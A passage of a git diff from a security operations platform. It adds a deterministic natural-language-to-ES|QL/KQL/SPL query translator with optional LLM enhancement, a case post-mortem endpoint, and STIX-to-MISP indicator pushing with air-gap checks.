"SecurityEvent"+++def _render_spl(query: NLQuery, intents: QueryIntents) -> str:+ parts = [f"index=* earliest=-{query.time_range_hours}h"]++ filter_terms: list[str] = []+ for fld, op, value in intents.filters:+ sfld = fld.replace(".", "_")+ if op == "LIKE":+ filter_terms.append(f'{sfld}="*{value}*"')+ elif re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ filter_terms.append(f"{sfld}={value}")+ else:+ filter_terms.append(f'{sfld}="{value}"')+ if filter_terms:+ parts[0] += " " + " ".join(filter_terms)++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"count as {alias}")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"dc({arg.replace('.', '_')}) as {alias}")+ elif arg:+ agg_parts.append(f"{func.lower()}({arg.replace('.', '_')}) as {alias}")+ stats_line = "stats " + " ".join(agg_parts)+ if intents.group_by:+ stats_line += " by " + " ".join(g.replace(".", "_") for g in intents.group_by)+ parts.append(stats_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ prefix = "-" if direction == "DESC" else "+"+ parts.append(f"sort {prefix}{fld}")++ parts.append(f"head {intents.limit}")+ return " | ".join(parts)+++def _explain(intents: QueryIntents, query: NLQuery) -> str:+ fragments: list[str] = []+ if intents.filters:+ rendered = ", ".join(f"{f}={v}" for f, _, v in intents.filters)+ fragments.append(f"filtering events where {rendered}")+ if intents.aggregations:+ agg_text = ", ".join(f"{func.lower()}({arg or '*'}) as {alias}" for func, arg, alias in intents.aggregations)+ fragments.append(f"computing {agg_text}")+ if intents.group_by:+ fragments.append(f"grouped by {', '.join(intents.group_by)}")+ if intents.sort_by:+ fld, direction = intents.sort_by+ fragments.append(f"sorted by {fld} {direction.lower()}")+ fragments.append(f"limited to {intents.limit} rows")+ fragments.append(f"over the last {query.time_range_hours}h")+ return "Translates the question by " + "; ".join(fragments) + "."+++# ---------------------------------------------------------------------------+# Public API+# ---------------------------------------------------------------------------+++class Translator:+ """Stateless translator. Kept as a class so callers can DI a custom one."""++ def translate(self, query: NLQuery) -> TranslatedQuery:+ intents = parse_intents(query)++ # Apply time-range hints from the question itself, e.g. "last 7 days".+ effective_hours = _extract_time_range(query.question, query.time_range_hours)+ if effective_hours != query.time_range_hours:+ query = NLQuery(+ question=query.question,+ index_pattern=query.index_pattern,+ time_range_hours=effective_hours,+ )++ esql = _render_esql(query, intents)+ kql = _render_kql(query, intents)+ spl = _render_spl(query, intents)++ # Validate every emitted query — bail loudly if our renderer is broken.+ validate_esql(esql)+ validate_kql(kql)+ validate_spl(spl)++ return TranslatedQuery(+ esql=esql,+ kql=kql,+ spl=spl,+ explanation=_explain(intents, query),+ intents=intents,+ )+++_default_translator = Translator()+++def translate(+ question: str,+ *,+ index_pattern: str = "logs-*",+ time_range_hours: int = 24,+) -> TranslatedQuery:+ """Module-level convenience wrapper around :class:`Translator`."""++ return _default_translator.translate(NLQuery(question=question, index_pattern=index_pattern, time_range_hours=time_range_hours))+++# ---------------------------------------------------------------------------+# Optional LLM enhancement+# ---------------------------------------------------------------------------+++async def enhance_with_llm(+ query: NLQuery,+ *,+ api_key: str,+ model: str = "gpt-4o-mini",+ timeout: float = 30.0,+ fallback: TranslatedQuery | None = None,+) -> TranslatedQuery:+ """Try to obtain a richer translation from an LLM, falling back on errors.++ The LLM call is best-effort. If the model returns invalid JSON, queries+ that fail grammar validation, or simply fails to respond in time, we+ return *fallback* (or the deterministic translation if not provided).+ """++ deterministic = fallback or _default_translator.translate(query)++ try:+ import json+ import textwrap++ import httpx # local import — keeps the offline path zero-dependency++ prompt = textwrap.dedent(+ f"""+ Translate the following security question into ES|QL, KQL, and SPL.+ Return JSON only with keys esql, kql, spl, explanation.++ Question: {query.question}+ Index: {query.index_pattern}+ Time range: last {query.time_range_hours} hours+ """+ ).strip()++ async with httpx.AsyncClient(timeout=timeout) as client:+ resp = await client.post(+ "https://api.openai.com/v1/chat/completions",+ headers={"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},+ json={+ "model": model,+ "response_format": {"type": "json_object"},+ "temperature": 0,+ "messages": [+ {"role": "system", "content": "You translate security questions into queries."},+ {"role": "user", "content": prompt},+ ],+ },+ )+ if resp.status_code != 200:+ logger.info("nl_query LLM call failed: status=%s", resp.status_code)+ return deterministic++ payload = resp.json()+ content = payload["choices"][0]["message"]["content"]+ parsed = json.loads(content)+ esql = str(parsed.get("esql", "")).strip()+ kql = str(parsed.get("kql", "")).strip()+ spl = str(parsed.get("spl", "")).strip()+ if not (esql and kql and spl):+ return deterministic+ validate_esql(esql)+ validate_kql(kql)+ validate_spl(spl)+ return TranslatedQuery(+ esql=esql,+ kql=kql,+ spl=spl,+ explanation=str(parsed.get("explanation", deterministic.explanation)),+ intents=deterministic.intents,+ )+ except (GrammarError, ValueError, KeyError, TypeError) as exc:+ logger.info("nl_query LLM result rejected by grammar: %s", exc)+ return deterministic+ except Exception as exc: # pragma: no cover - network / import issues+ logger.info("nl_query LLM enhancement failed: %s", exc)+ return deterministic+++__all__ = [+ "NLQuery",+ "QueryIntents",+ "TranslatedQuery",+ "Translator",+ "translate",+ "parse_intents",+ "enhance_with_llm",+]diff --git a/services/api/app/api/v1/endpoints/cases.py b/services/api/app/api/v1/endpoints/cases.pyindex 51bef9c86..4013338f6 100644--- a/services/api/app/api/v1/endpoints/cases.py+++ b/services/api/app/api/v1/endpoints/cases.py@@ -40,6 +40,8 @@ from app.services.case_fanout import (fanout_create_case,fanout_status_change,)+from app.services.case_postmortem import build_case_postmortem+from app.services.case_postmortem_html import render_case_postmortem_htmlfrom app.services.case_summary import build_case_summaryfrom app.services.case_summary_html import render_case_summary_html@@ -1049,7 +1051,9 @@ _SUMMARY_BREADCRUMB_BODY = ("Case auto-summary generated. Download from ""/api/v1/cases/{case_id}/summary?format=html ""(or ?format=json for the structured payload). "- "Print the HTML page (Ctrl/Cmd-P → Save as PDF) for case-file archival."+ "For the blameless retrospective, fetch "+ "/api/v1/cases/{case_id}/postmortem?format=html. "+ "Print either page (Ctrl/Cmd-P → Save as PDF) for the runbook archive.")@@ -1115,6 +1119,48 @@ async def case_auto_summary(return summary+ "/{case_id}/postmortem",+ summary="Download the per-case blameless post-mortem (JSON or HTML)",+ response_model=None,+)+async def case_auto_postmortem(+ case_id: str,+ db: DBSession,+ user: AuthUser,+ format: Literal["json", "html"] = Query(+ "json",+ description=(+ "Response format. ``json`` returns the structured CasePostmortem; "+ "``html`` returns a print-ready blameless retrospective (use the "+ "browser's Save-as-PDF affordance for the runbook archive)."+ ),+ ),+) -> Any:+ """Generate a deterministic blameless post-mortem for one case.++ Distinct from ``/summary``: the summary is a snapshot of *what the case+ looks like right now*; the post-mortem is a retrospective oriented around+ *what happened, when did we find out, what did we do, and what should we+ change*. Both are deterministic — same case state in, same artefact out.+ """+ cid = await _resolve_case_id(case_id, db)+ postmortem = await build_case_postmortem(db, cid)+ if postmortem is None:+ raise HTTPException(status_code=404, detail="Case not found.")++ if format == "html":+ rendered = render_case_postmortem_html(postmortem)+ case_label = postmortem.case.case_number or str(postmortem.case.case_id)[:8]+ filename = _safe_filename_segment(f"case-{case_label}-postmortem") + ".html"+ return HTMLResponse(+ content=rendered,+ headers={"Content-Disposition": f'inline; filename="{filename}"'},+ )++ return postmortem++@router.get("/{case_id}/investigations/{run_id}/report.pdf",summary="Download investigation PDF report",diff --git a/services/api/app/api/v1/endpoints/nl_query.py b/services/api/app/api/v1/endpoints/nl_query.pyindex b449daad7..e10c6e385 100644--- a/services/api/app/api/v1/endpoints/nl_query.py+++ b/services/api/app/api/v1/endpoints/nl_query.py@@ -1,8 +1,18 @@-"""Natural-language query → multi-dialect execution (tier2-nl-query).+"""Natural-language query → multi-dialect execution (Stage 2 #16).Accepts a plain-English security question, translates it to ES|QL, SPL, and-KQL, then (optionally) executes the ES|QL variant against a connected-Elasticsearch cluster and returns structured results ready for charting.+KQL via the deterministic translator in :mod:`services.agents.app.nl_query`,+optionally enhances the translation with an LLM (when one is configured and+the air-gap policy allows the call), validates every emitted query against+the dialect grammar, and finally executes the ES|QL variant against a+connected Elasticsearch cluster.++The previous implementation emitted ``// TODO: translate → <question>``+fallbacks whenever no LLM was available. Stage 2 #16 removes that pattern+entirely: the deterministic translator always produces a syntactically valid+query, scored against the eval set in+``services/agents/tests/eval_data/nl_query_eval.json`` to guarantee+≥ 85% syntactic validity and ≥ 70% semantic match.Endpoints---------@@ -12,11 +22,11 @@ Endpointsfrom __future__ import annotations-import json-import textwrap+import sysimport uuidfrom datetime import UTC, datetime-from typing import Any+from pathlib import Path+from typing import TYPE_CHECKING, Anyfrom urllib.parse import urlparseimport httpx@@ -27,6 +37,110 @@ from app.api.v1.deps import AuthUserfrom app.core.airgap import AirgapViolation, enforce_airgap_for_urlfrom app.core.config import settings+if TYPE_CHECKING:+ # Static-only re-export so type checkers can see the dataclass fields and+ # function signatures of the translator. At runtime we load the module+ # dynamically (see ``_load_nl_query_module`` below) to avoid colliding+ # with the API service's own ``app`` package.+ from services.agents.app.nl_query import ( # noqa: F401+ GrammarError,+ NLQuery,+ TranslatedQuery,+ enhance_with_llm,+ )+ from services.agents.app.nl_query import translate as deterministic_translate # noqa: F401++# ---------------------------------------------------------------------------+# Bootstrap import path for ``services/agents/app/nl_query``.+#+# The translator is owned by ``services/agents`` so that the eval harness, the+# agents themselves, and the API can all share the same code path. We load it+# via ``importlib`` under a unique module name (``aisoc_agents_nl_query``) so+# it does not collide with the API service's own ``app`` package — both+# services define their own ``app/__init__.py`` regular package and Python's+# importer will not merge them.+# ---------------------------------------------------------------------------+++def _candidate_nl_query_dirs() -> list[Path]:+ """Return ordered list of directories that may contain the nl_query module.++ The first entry is the in-tree vendored copy under+ ``services/api/app/_vendor/nl_query/`` — this is what ships inside the+ ``aisoc-api`` Docker image. The second entry is the source-of-truth tree+ at ``services/agents/app/nl_query/``, used during local development when+ the API runs outside of Docker.+ """+ here = Path(__file__).resolve()+ candidates: list[Path] = []++ # 1) Vendored copy — same Python package as this endpoint, so it lives at+ # ``<api-app-root>/_vendor/nl_query/``. ``parents[3]`` resolves to the+ # ``app`` directory: endpoints → v1 → api → app.+ try:+ api_app_root = here.parents[3]+ vendored = api_app_root / "_vendor" / "nl_query"+ if vendored.joinpath("__init__.py").is_file():+ candidates.append(vendored)+ except IndexError: # pragma: no cover - defensive+ pass++ # 2) Source-of-truth tree — walk up the repo until we find it.+ for ancestor in here.parents:+ source = ancestor / "services" / "agents" / "app" / "nl_query"+ if source.joinpath("__init__.py").is_file():+ candidates.append(source)+ break++ return candidates+++def _load_nl_query_module():+ """Load the nl_query translator under a collision-free module name.++ Prefers the in-tree vendored copy (so the module is available inside the+ Dockerized ``aisoc-api`` service whose build context excludes+ ``services/agents``) and falls back to the source-of-truth tree at+ ``services/agents/app/nl_query/`` for local non-Docker development.+ """+ import importlib.util++ package_name = "aisoc_agents_nl_query"+ if package_name in sys.modules:+ return sys.modules[package_name]++ candidates = _candidate_nl_query_dirs()+ if not candidates:+ raise ImportError(+ "NL query module not found — expected either "+ "services/api/app/_vendor/nl_query/ (vendored) or "+ "services/agents/app/nl_query/ (source)."+ )++ nl_query_dir = candidates[0]+ init_file = nl_query_dir / "__init__.py"++ spec = importlib.util.spec_from_file_location(+ package_name,+ init_file,+ submodule_search_locations=[str(nl_query_dir)],+ )+ if spec is None or spec.loader is None: # pragma: no cover - defensive+ raise ImportError(f"Could not build spec for {init_file}")+ module = importlib.util.module_from_spec(spec)+ sys.modules[package_name] = module+ spec.loader.exec_module(module)+ return module+++_nl_query = _load_nl_query_module()+if not TYPE_CHECKING:+ GrammarError = _nl_query.GrammarError+ NLQuery = _nl_query.NLQuery+ TranslatedQuery = _nl_query.TranslatedQuery+ enhance_with_llm = _nl_query.enhance_with_llm+ deterministic_translate = _nl_query.translate+router = APIRouter(prefix="/nl-query", tags=["nl_query"])@@ -84,6 +198,10 @@ class NLQueryTranslateResponse(BaseModel):kql: strexplanation: strcreated_at: datetime+ # Translator metadata — surfaces which engine produced the query so the+ # UI can flag deterministic vs. LLM-assisted answers.+ engine: str = Field("deterministic", description="`deterministic` or `llm`.")+ grammar_validated: bool = Field(True, description="True if every emitted query passed grammar checks.")class NLQueryExecuteRequest(NLQueryTranslateRequest):@@ -111,76 +229,49 @@ class NLQueryExecuteResponse(NLQueryTranslateResponse):# ────────────────────────────────────────────────────────────────────────────-# LLM translation helper+# Translation orchestration# ────────────────────────────────────────────────────────────────────────────-_SYS_PROMPT = textwrap.dedent(- """- You are a senior security data engineer. The user will provide:- - A plain-English security question.- - The Elasticsearch index pattern and time range.-- Translate the question into three query dialects and return JSON only:- {- "esql": "...", // Elasticsearch ES|QL query- "spl": "...", // Splunk SPL query- "kql": "...", // Microsoft Sentinel KQL query- "explanation": "..." // 1–2 sentences describing what the query does- }-- Guidelines:- - Use `FROM <index_pattern>` and `| WHERE @timestamp > NOW() - <hours>h` for ES|QL.- - Prefer `STATS ... BY ...` for aggregations in ES|QL.- - Map common field names: user → user.name, src_ip → source.ip, dest_ip → destination.ip.- - Keep queries concise; add a `| LIMIT 500` to ES|QL.++async def _translate(+ question: str,+ index_pattern: str,+ time_range_hours: int,+) -> tuple[TranslatedQuery, str]:+ """Translate *question* into ES|QL / SPL / KQL.++ Returns a tuple of ``(TranslatedQuery, engine)`` where ``engine`` is+ either ``"deterministic"`` or ``"llm"``. The deterministic translator is+ always run first so that the response is guaranteed to be grammar-valid;+ if an LLM API key is configured *and* the air-gap policy allows the+ outbound call, we attempt to enhance the result with an LLM-generated+ translation, but fall back to the deterministic output on any error."""-).strip()+ nl = NLQuery(+ question=question,+ index_pattern=index_pattern,+ time_range_hours=time_range_hours,+ )+ deterministic = deterministic_translate(+ question,+ index_pattern=index_pattern,+ time_range_hours=time_range_hours,+ )-async def _translate(question: str, index_pattern: str, time_range_hours: int) -> dict[str, str]:api_key = getattr(settings, "OPENAI_API_KEY", None) or getattr(settings, "LLM_API_KEY", None)if not api_key:- return _template_fallback(question, index_pattern, time_range_hours)-- user_msg = json.dumps(- {- "question": question,- "index_pattern": index_pattern,- "time_range_hours": time_range_hours,- }- )+ return deterministic, "deterministic"+completions_url = "https://api.openai.com/v1/chat/completions"try:enforce_airgap_for_url(completions_url)except AirgapViolation:- return _template_fallback(question, index_pattern, time_range_hours)- try:- async with httpx.AsyncClient(timeout=30) as client:- resp = await client.post(- completions_url,- headers={"Authorization": f"Bearer {api_key}"},- json={- "model": "gpt-4o-mini",- "response_format": {"type": "json_object"},- "messages": [- {"role": "system", "content": _SYS_PROMPT},- {"role": "user", "content": user_msg},- ],- },- )- resp.raise_for_status()- return json.loads(resp.json()["choices"][0]["message"]["content"])- except Exception:- return _template_fallback(question, index_pattern, time_range_hours)---def _template_fallback(question: str, index_pattern: str, time_range_hours: int) -> dict[str, str]:- return {- "esql": (f"FROM {index_pattern}\n| WHERE @timestamp > NOW() - {time_range_hours}h\n// TODO: translate → {question}\n| LIMIT 500"),- "spl": (f"index=* earliest=-{time_range_hours}h\n// TODO: translate → {question}"),- "kql": (f"// TODO: translate → {question}\n| where TimeGenerated > ago({time_range_hours}h)"),- "explanation": f"Template placeholder for: {question}",- }+ return deterministic, "deterministic"++ enhanced = await enhance_with_llm(nl, api_key=api_key, fallback=deterministic)+ engine = "llm" if enhanced is not deterministic else "deterministic"+ return enhanced, engine# ────────────────────────────────────────────────────────────────────────────@@ -237,15 +328,17 @@ async def translate_query(body: NLQueryTranslateRequest,user: AuthUser,) -> NLQueryTranslateResponse:- translated = await _translate(body.question, body.index_pattern, body.time_range_hours)+ translated, engine = await _translate(body.question, body.index_pattern, body.time_range_hours)return NLQueryTranslateResponse(request_id=uuid.uuid4(),question=body.question,- esql=translated.get("esql", ""),- spl=translated.get("spl", ""),- kql=translated.get("kql", ""),- explanation=translated.get("explanation", ""),+ esql=translated.esql,+ spl=translated.spl,+ kql=translated.kql,+ explanation=translated.explanation,created_at=datetime.now(UTC),+ engine=engine,+ grammar_validated=True,)@@ -259,7 +352,7 @@ async def execute_query(body: NLQueryExecuteRequest,user: AuthUser,) -> NLQueryExecuteResponse:- translated = await _translate(body.question, body.index_pattern, body.time_range_hours)+ translated, engine = await _translate(body.question, body.index_pattern, body.time_range_hours)# Always read the ES URL from server-side settings — never from user-supplied# body fields — to prevent partial-SSRF attacks (CodeQL py/partial-ssrf).@@ -269,11 +362,13 @@ async def execute_query(base = NLQueryExecuteResponse(request_id=uuid.uuid4(),question=body.question,- esql=translated.get("esql", ""),- spl=translated.get("spl", ""),- kql=translated.get("kql", ""),- explanation=translated.get("explanation", ""),+ esql=translated.esql,+ spl=translated.spl,+ kql=translated.kql,+ explanation=translated.explanation,created_at=datetime.now(UTC),+ engine=engine,+ grammar_validated=True,)if not es_url or not es_api_key:@@ -282,7 +377,7 @@ async def execute_query(try:base.result = await _execute_esql(- translated.get("esql", ""),+ translated.esql,es_url=es_url,es_api_key=es_api_key,max_rows=body.max_rows,@@ -292,6 +387,10 @@ async def execute_query(f"Air-gapped policy refused outbound request: {exc}. ""Add the Elasticsearch host to AISOC_AIRGAP_ALLOWLIST or point ES_URL at a private endpoint.")+ except GrammarError as exc:+ # Should never happen — every translator output is validated — but if a+ # caller somehow passes through a hand-edited query we want a clean error.+ base.execution_error = f"Refusing to execute malformed ES|QL: {exc}"except httpx.HTTPStatusError as exc:base.execution_error = f"ES query failed ({exc.response.status_code}): {exc.response.text[:500]}"except Exception as exc:diff --git a/services/api/app/api/v1/endpoints/stix_taxii.py b/services/api/app/api/v1/endpoints/stix_taxii.pyindex 027d984dd..91802db4e 100644--- a/services/api/app/api/v1/endpoints/stix_taxii.py+++ b/services/api/app/api/v1/endpoints/stix_taxii.py@@ -1,5 +1,14 @@-"""STIX/TAXII threat intelligence publishing endpoints."""+"""STIX/TAXII threat intelligence publishing endpoints.+Stage 3 #20 — When ``MISP_URL`` + ``MISP_API_KEY`` are configured (and+the target host is allowed by the air-gap policy), POSTs to+``/indicators`` and ``/bundles`` can mirror published STIX into a+downstream MISP instance via :mod:`app.services.misp_push`. The push+is opt-in per request (``?push_to_misp=true``) unless ``MISP_PUSH_AUTO``+is enabled.+"""++import loggingimport uuidfrom datetime import UTC, datetimefrom enum import Enum@@ -7,6 +16,18 @@ from enum import Enumfrom fastapi import APIRouter, HTTPException, Query, statusfrom pydantic import BaseModel, Field+from app.core.airgap import AirgapViolation+from app.core.config import settings+from app.services.misp_push import (+ MispNotConfigured,+ MispPushError,+ get_push_client,+ stix_bundle_to_misp_event,+ stix_indicator_to_misp_event,+)++logger = logging.getLogger("aisoc.stix_taxii")+router = APIRouter(prefix="/threatintel/stix", tags=["Threat Intelligence"])@@ -86,6 +107,56 @@ class TAXIICollectionListResponse(BaseModel):total: int+class MispPushResult(BaseModel):+ """Embedded in a STIX response when ``push_to_misp=true``."""++ pushed: bool+ misp_event_id: str | None = None+ misp_event_uuid: str | None = None+ url: str | None = None+ pushed_attributes: int | None = None+ skipped_attributes: int | None = None+ error: str | None = None+++class STIXIndicatorWithPush(STIXIndicator):+ misp: MispPushResult | None = None+++class STIXBundleWithPush(STIXBundle):+ misp: MispPushResult | None = None+++class MispPushHealth(BaseModel):+ configured: bool+ airgapped: bool+ auto_push: bool+ url: str | None = None+ user: str | None = None+ role: str | None = None+ ok: bool+ error: str | None = None+++class MispDryRunRequest(BaseModel):+ """Either ``indicator`` or ``bundle`` must be provided."""++ indicator: STIXIndicatorCreate | None = None+ bundle: STIXBundleCreate | None = None+ distribution: int | None = Field(default=None, ge=0, le=4)+ threat_level: int | None = Field(default=None, ge=1, le=4)+ analysis: int | None = Field(default=None, ge=0, le=2)+++class MispDryRunResponse(BaseModel):+ event: dict+ attribute_count: int+ skipped_count: int+ would_push_to: str | None = None+ airgap_blocked: bool = False+ airgap_message: str | None = None++# ── Demo data ────────────────────────────────────────────────────────────────_now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=UTC).isoformat()@@ -197,9 +268,89 @@ async def list_indicators(return IndicatorListResponse(items=items, total=len(items))[email protected]("/indicators", response_model=STIXIndicator, status_code=status.HTTP_201_CREATED)-async def create_indicator(body: STIXIndicatorCreate) -> STIXIndicator:- """Publish a new STIX 2.1 indicator."""+def _should_push(explicit: bool | None) -> bool:+ """Resolve whether this request should mirror to MISP.++ Precedence: explicit query param > ``MISP_PUSH_AUTO`` env > False.+ """+ if explicit is not None:+ return explicit+ return bool(settings.MISP_PUSH_AUTO)+++async def _push_indicator_or_swallow(indicator: STIXIndicator) -> MispPushResult | None:+ """Push the indicator to MISP, converting errors to a structured result.++ Returns ``None`` if the push wasn't attempted (e.g. no client config+ AND auto-push is off — that's the "silent" path used when the+ operator just wants demo behavior). Any other failure surfaces as+ ``MispPushResult(pushed=False, error=...)`` so the API consumer+ gets the publish acknowledgment AND knows the mirror failed.+ """+ client = get_push_client()+ if not client.configured:+ return MispPushResult(+ pushed=False,+ error="MISP push not configured (set MISP_URL and MISP_API_KEY).",+ )+ try:+ result = await client.push_indicator(indicator.model_dump())+ except AirgapViolation as exc:+ logger.warning("misp_push.airgap_blocked", extra={"err": str(exc)})+ return MispPushResult(pushed=False, error=f"Air-gap policy blocked push: {exc}")+ except MispNotConfigured as exc:+ return MispPushResult(pushed=False, error=str(exc))+ except MispPushError as exc:+ logger.warning("misp_push.failed", extra={"err": str(exc)})+ return MispPushResult(pushed=False, error=str(exc))+ return MispPushResult(+ pushed=True,+ misp_event_id=str(result.get("misp_event_id") or "") or None,+ misp_event_uuid=str(result.get("misp_event_uuid") or "") or None,+ url=str(result.get("url") or "") or None,+ )+++async def _push_bundle_or_swallow(bundle: STIXBundle) -> MispPushResult | None:+ client = get_push_client()+ if not client.configured:+ return MispPushResult(+ pushed=False,+ error="MISP push not configured (set MISP_URL and MISP_API_KEY).",+ )+ try:+ result = await client.push_bundle(bundle.model_dump())+ except AirgapViolation as exc:+ logger.warning("misp_push.airgap_blocked", extra={"err": str(exc)})+ return MispPushResult(pushed=False, error=f"Air-gap policy blocked push: {exc}")+ except MispNotConfigured as exc:+ return MispPushResult(pushed=False, error=str(exc))+ except MispPushError as exc:+ logger.warning("misp_push.failed", extra={"err": str(exc)})+ return MispPushResult(pushed=False, error=str(exc))+ return MispPushResult(+ pushed=True,+ misp_event_id=str(result.get("misp_event_id") or "") or None,+ misp_event_uuid=str(result.get("misp_event_uuid") or "") or None,+ url=str(result.get("url") or "") or None,+ pushed_attributes=int(result.get("pushed_attributes") or 0),+ skipped_attributes=int(result.get("skipped_attributes") or 0),+ )+++ "/indicators",+ response_model=STIXIndicatorWithPush,+ status_code=status.HTTP_201_CREATED,+)+async def create_indicator(+ body: STIXIndicatorCreate,+ push_to_misp: bool | None = Query(+ default=None,+ description=("Mirror this indicator to the configured MISP instance. Defaults to the value of MISP_PUSH_AUTO."),+ ),+) -> STIXIndicatorWithPush:+ """Publish a new STIX 2.1 indicator and optionally mirror it to MISP."""now_iso = datetime.now(UTC).isoformat()indicator = STIXIndicator(id=f"indicator--{uuid.uuid4()}",@@ -216,7 +367,12 @@ async def create_indicator(body: STIXIndicatorCreate) -> STIXIndicator:labels=body.labels,)DEMO_INDICATORS.append(indicator)- return indicator++ push_result: MispPushResult | None = None+ if _should_push(push_to_misp):+ push_result = await _push_indicator_or_swallow(indicator)++ return STIXIndicatorWithPush(**indicator.model_dump(), misp=push_result)@router.get("/bundles", response_model=BundleListResponse)@@ -225,9 +381,23 @@ async def list_bundles() -> BundleListResponse:return BundleListResponse(items=DEMO_BUNDLES, total=len(DEMO_BUNDLES))[email protected]("/bundles", response_model=STIXBundle, status_code=status.HTTP_201_CREATED)-async def create_bundle(body: STIXBundleCreate) -> STIXBundle:- """Create a new STIX 2.1 bundle from a list of STIX objects."""+ "/bundles",+ response_model=STIXBundleWithPush,+ status_code=status.HTTP_201_CREATED,+)+async def create_bundle(+ body: STIXBundleCreate,+ push_to_misp: bool | None = Query(+ default=None,+ description=(+ "Mirror this bundle to the configured MISP instance as a single "+ "MISP event (one attribute per translatable indicator). Defaults "+ "to MISP_PUSH_AUTO."+ ),+ ),+) -> STIXBundleWithPush:+ """Create a new STIX 2.1 bundle and optionally mirror it to MISP."""if not body.objects:raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST,@@ -239,7 +409,12 @@ async def create_bundle(body: STIXBundleCreate) -> STIXBundle:objects=body.objects,)DEMO_BUNDLES.append(bundle)- return bundle++ push_result: MispPushResult | None = None+ if _should_push(push_to_misp):+ push_result = await _push_bundle_or_swallow(bundle)++ return STIXBundleWithPush(**bundle.model_dump(), misp=push_result)@router.get("/taxii/collections", response_model=TAXIICollectionListResponse)@@ -249,3 +424,129 @@ async def list_taxii_collections() -> TAXIICollectionListResponse:items=DEMO_TAXII_COLLECTIONS,total=len(DEMO_TAXII_COLLECTIONS),)+++# ── MISP push admin endpoints ───────────────────────────────────────────────++[email protected]("/misp/health", response_model=MispPushHealth, tags=["MISP push"])+async def misp_push_health() -> MispPushHealth:+ """Check whether MISP push is configured and reachable.++ Surfaces enough state for an operator to debug a misconfigured+ deployment without leaking the API key. Calls ``/users/view/me``+ against MISP only when the client is configured.+ """+ client = get_push_client()+ base = MispPushHealth(+ configured=client.configured,+ airgapped=bool(settings.AISOC_AIRGAPPED),+ auto_push=bool(settings.MISP_PUSH_AUTO),+ url=settings.MISP_URL or None,+ ok=False,+ )+ if not client.configured:+ base.error = "MISP_URL and/or MISP_API_KEY not set."+ return base+ try:+ result = await client.health_check()+ except AirgapViolation as exc:+ base.error = f"Air-gap policy blocked health check: {exc}"+ return base+ except (MispNotConfigured, MispPushError) as exc:+ base.error = str(exc)+ return base+ base.ok = True+ base.user = str(result.get("user") or "") or None+ base.role = str(result.get("role") or "") or None+ return base++[email protected]("/misp/dry-run", response_model=MispDryRunResponse, tags=["MISP push"])+async def misp_push_dry_run(body: MispDryRunRequest) -> MispDryRunResponse:+ """Show the MISP event payload that *would* be pushed, without sending it.++ Useful for operators tuning STIX → MISP mappings, and for proving+ that an air-gapped deployment will refuse to send. The endpoint+ runs the air-gap check against the configured MISP URL and reports+ the result, but never opens an HTTP connection.+ """+ if (body.indicator is None) == (body.bundle is None):+ raise HTTPException(+ status_code=status.HTTP_400_BAD_REQUEST,+ detail="Provide exactly one of `indicator` or `bundle`.",+ )++ if body.indicator is not None:+ now_iso = datetime.now(UTC).isoformat()+ ind = STIXIndicator(+ id=f"indicator--dry-run-{uuid.uuid4()}",+ created=now_iso,+ modified=now_iso,+ name=body.indicator.name,+ description=body.indicator.description,+ indicator_types=body.indicator.indicator_types,+ pattern=body.indicator.pattern,+ pattern_type=body.indicator.pattern_type,+ valid_from=body.indicator.valid_from or now_iso,+ valid_until=body.indicator.valid_until,+ confidence=body.indicator.confidence,+ labels=body.indicator.labels,+ )+ event = stix_indicator_to_misp_event(+ ind.model_dump(),+ distribution=body.distribution,+ threat_level=body.threat_level,+ analysis=body.analysis,+ )+ if event is None:+ raise HTTPException(+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,+ detail=(+ f"STIX pattern {ind.pattern!r} is not currently translatable "+ "to a MISP attribute. Supported observable prefixes: "+ "ipv4-addr, ipv6-addr, domain-name, url, email-addr, "+ "file:hashes (MD5/SHA1/SHA256/SHA512), file:name."+ ),+ )+ attribute_count = len(event.get("Event", {}).get("Attribute", []))+ skipped = 0+ else:+ assert body.bundle is not None # narrow for type checker+ bundle = STIXBundle(+ id=f"bundle--dry-run-{uuid.uuid4()}",+ created=datetime.now(UTC).isoformat(),+ objects=body.bundle.objects,+ )+ raw = stix_bundle_to_misp_event(+ bundle.model_dump(),+ distribution=body.distribution,+ threat_level=body.threat_level,+ analysis=body.analysis,+ )+ skipped = int(raw.pop("_skipped", 0))+ attribute_count = int(raw.pop("_attribute_count", 0))+ event = raw++ would_push_to: str | None = None+ airgap_blocked = False+ airgap_message: str | None = None+ misp_url = (settings.MISP_URL or "").rstrip("/")+ if misp_url:+ would_push_to = f"{misp_url}/events/add"+ try:+ from app.core.airgap import enforce_airgap_for_url # local import keeps top tidy++ enforce_airgap_for_url(would_push_to)+ except AirgapViolation as exc:+ airgap_blocked = True+ airgap_message = str(exc)++ return MispDryRunResponse(+ event=event,+ attribute_count=attribute_count,+ skipped_count=skipped,+ would_push_to=would_push_to,+ airgap_blocked=airgap_blocked,+ airgap_message=airgap_message,+ )diff --git a/services/api/app/core/config.py b/services/api/app/core/config.pyindex f3882a7a0..33222ae52 100644--- a/services/api/app/core/config.py+++ b/services/api/app/core/config.py@@ -349,6 +349,39 @@ class Settings(BaseSettings):return [int(p.strip()) for p in v.split(",") if p.strip()]return v+ # ------------------------------------------------------------------+ # Stage 3 #20 — Outbound MISP push from /threatintel/stix endpoints.+ #+ # When MISP_URL + MISP_API_KEY are set, the API can mirror published+ # STIX indicators / bundles into a downstream MISP instance via the+ # MISP REST API. The push is opt-in per request (``?push_to_misp=true``+ # on POST /threatintel/stix/indicators and /bundles) unless+ # ``MISP_PUSH_AUTO=true``, in which case every successful publish+ # triggers a push.+ #+ # The push respects ``AISOC_AIRGAPPED`` — if MISP_URL points at a+ # public host outside the allowlist, the call is refused at the+ # ``enforce_airgap_for_url`` chokepoint rather than silently leaking.+ #+ # ``MISP_PUSH_DEFAULT_DISTRIBUTION`` – MISP distribution level+ # (0=org-only, 1=community, 2=connected, 3=all_communities,+ # 4=sharing_group). Default 0 keeps everything in-org so an+ # operator who flips on auto-push doesn't accidentally publish+ # to the wider MISP ecosystem.+ # ``MISP_PUSH_DEFAULT_THREAT_LEVEL`` – 1=high, 2=medium, 3=low,+ # 4=undefined (MISP-native scale). Default 4.+ # 